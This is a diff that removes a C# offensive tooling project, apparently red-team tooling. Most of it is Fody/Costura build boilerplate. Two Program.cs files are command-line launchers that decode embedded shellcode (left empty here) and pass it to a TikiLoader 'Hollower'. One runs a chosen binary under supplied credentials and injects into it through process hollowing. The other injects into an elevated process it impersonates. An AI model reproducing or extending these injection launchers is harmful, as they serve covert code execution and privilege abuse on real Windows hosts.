<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
@@ -1,53 +0,0 @@
|
||||
using System;
|
||||
using NDesk.Options;
|
||||
|
||||
using TikiLoader;
|
||||
|
||||
namespace TikiSpawnAs
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
string binary = null;
|
||||
string domain = null;
|
||||
string username = null;
|
||||
string password = null;
|
||||
bool help = false;
|
||||
|
||||
byte[] shellcode = Generic.DecompressShellcode(Convert.FromBase64String(""));
|
||||
|
||||
var options = new OptionSet()
|
||||
{
|
||||
{ "d|domain=", "Domain (defaults to local machine)", v => domain = v },
|
||||
{ "u|username=", "Username", v => username = v },
|
||||
{ "p|password=", "Password", v => password = v },
|
||||
{ "b|binary=", "Binary to spawn & inject", v => binary = v },
|
||||
{ "h|?|help", "Show this help", v => help = true }
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
options.Parse(args);
|
||||
|
||||
if (help || username == null || password == null || binary == null)
|
||||
{
|
||||
options.WriteOptionDescriptions(Console.Out);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (domain == null)
|
||||
domain = ".";
|
||||
|
||||
var hollower = new Hollower();
|
||||
hollower.HollowAs(binary, shellcode, domain, username, password);
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Console.WriteLine(" [x] {0}", e.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,36 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("TikiSpawnAs")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("TikiSpawnAs")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("97421325-b6d8-49e5-adf0-e2126abc17ee")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -1,79 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{97421325-B6D8-49E5-ADF0-E2126ABC17EE}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<RootNamespace>TikiSpawnAs</RootNamespace>
|
||||
<AssemblyName>TikiSpawnAs</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>
|
||||
</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Costura, Version=3.3.3.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="NDesk.Options, Version=0.2.1.0, Culture=neutral, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\TikiLoader\TikiLoader.csproj">
|
||||
<Project>{806c6c72-4adc-43d9-b028-6872fa48d334}</Project>
|
||||
<Name>TikiLoader</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Import Project="..\packages\Fody.4.0.2\build\Fody.targets" Condition="Exists('..\packages\Fody.4.0.2\build\Fody.targets')" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\Fody.4.0.2\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.4.0.2\build\Fody.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props'))" />
|
||||
</Target>
|
||||
</Project>
|
||||
@@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="3.3.3" targetFramework="net45" />
|
||||
<package id="Fody" version="4.0.2" targetFramework="net45" developmentDependency="true" />
|
||||
<package id="NDesk.Options" version="0.2.1" targetFramework="net45" />
|
||||
</packages>
|
||||
@@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
|
||||
</startup>
|
||||
</configuration>
|
||||
@@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura />
|
||||
</Weavers>
|
||||
@@ -1,111 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
@@ -1,52 +0,0 @@
|
||||
using System;
|
||||
using System.Threading;
|
||||
|
||||
using NDesk.Options;
|
||||
using TikiLoader;
|
||||
|
||||
namespace TikiSpawnAsAdmin
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
string binary = null;
|
||||
int elevatedPid = 0;
|
||||
bool help = false;
|
||||
|
||||
byte[] shellcode = Generic.DecompressShellcode(Convert.FromBase64String(""));
|
||||
|
||||
var options = new OptionSet()
|
||||
{
|
||||
{ "b|binary=", "Binary to spawn & inject", v => binary = v },
|
||||
{ "p|pid=", "Elevated PID to impersonate (optional)", v => elevatedPid = int.Parse(v) },
|
||||
{ "h|?|help", "Show this help", v => help = true }
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
options.Parse(args);
|
||||
|
||||
if (help || binary == null)
|
||||
{
|
||||
options.WriteOptionDescriptions(Console.Out);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
var hollower = new Hollower();
|
||||
hollower.HollowElevated(binary, shellcode, elevatedPid);
|
||||
//while (true)
|
||||
//{
|
||||
// Thread.Sleep(1000);
|
||||
//}
|
||||
}
|
||||
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Console.WriteLine(" [x] {0}", e.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,36 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("TikiSpawnAsAdmin")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("TikiSpawnAsAdmin")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2019")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("1f707405-9708-4a34-a809-2c62b84d4f0a")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -1,79 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{1F707405-9708-4A34-A809-2C62B84D4F0A}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<RootNamespace>TikiSpawnElevated</RootNamespace>
|
||||
<AssemblyName>TikiSpawnElevated</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>
|
||||
</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Costura, Version=3.3.3.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="NDesk.Options, Version=0.2.1.0, Culture=neutral, processorArchitecture=MSIL">
|
||||
<HintPath>..\packages\NDesk.Options.0.2.1\lib\NDesk.Options.dll</HintPath>
|
||||
</Reference>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\TikiLoader\TikiLoader.csproj">
|
||||
<Project>{806c6c72-4adc-43d9-b028-6872fa48d334}</Project>
|
||||
<Name>TikiLoader</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Import Project="..\packages\Fody.4.0.2\build\Fody.targets" Condition="Exists('..\packages\Fody.4.0.2\build\Fody.targets')" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\packages\Fody.4.0.2\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.4.0.2\build\Fody.targets'))" />
|
||||
<Error Condition="!Exists('..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.3.3.3\build\Costura.Fody.props'))" />
|
||||
</Target>
|
||||
</Project>
|
||||
@@ -1,6 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="3.3.3" targetFramework="net45" />
|
||||
<package id="Fody" version="4.0.2" targetFramework="net45" developmentDependency="true" />
|
||||
<package id="NDesk.Options" version="0.2.1" targetFramework="net45" />
|
||||
</packages>
|
||||
@@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura />
|
||||
</Weavers>
|
||||
@@ -1,111 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
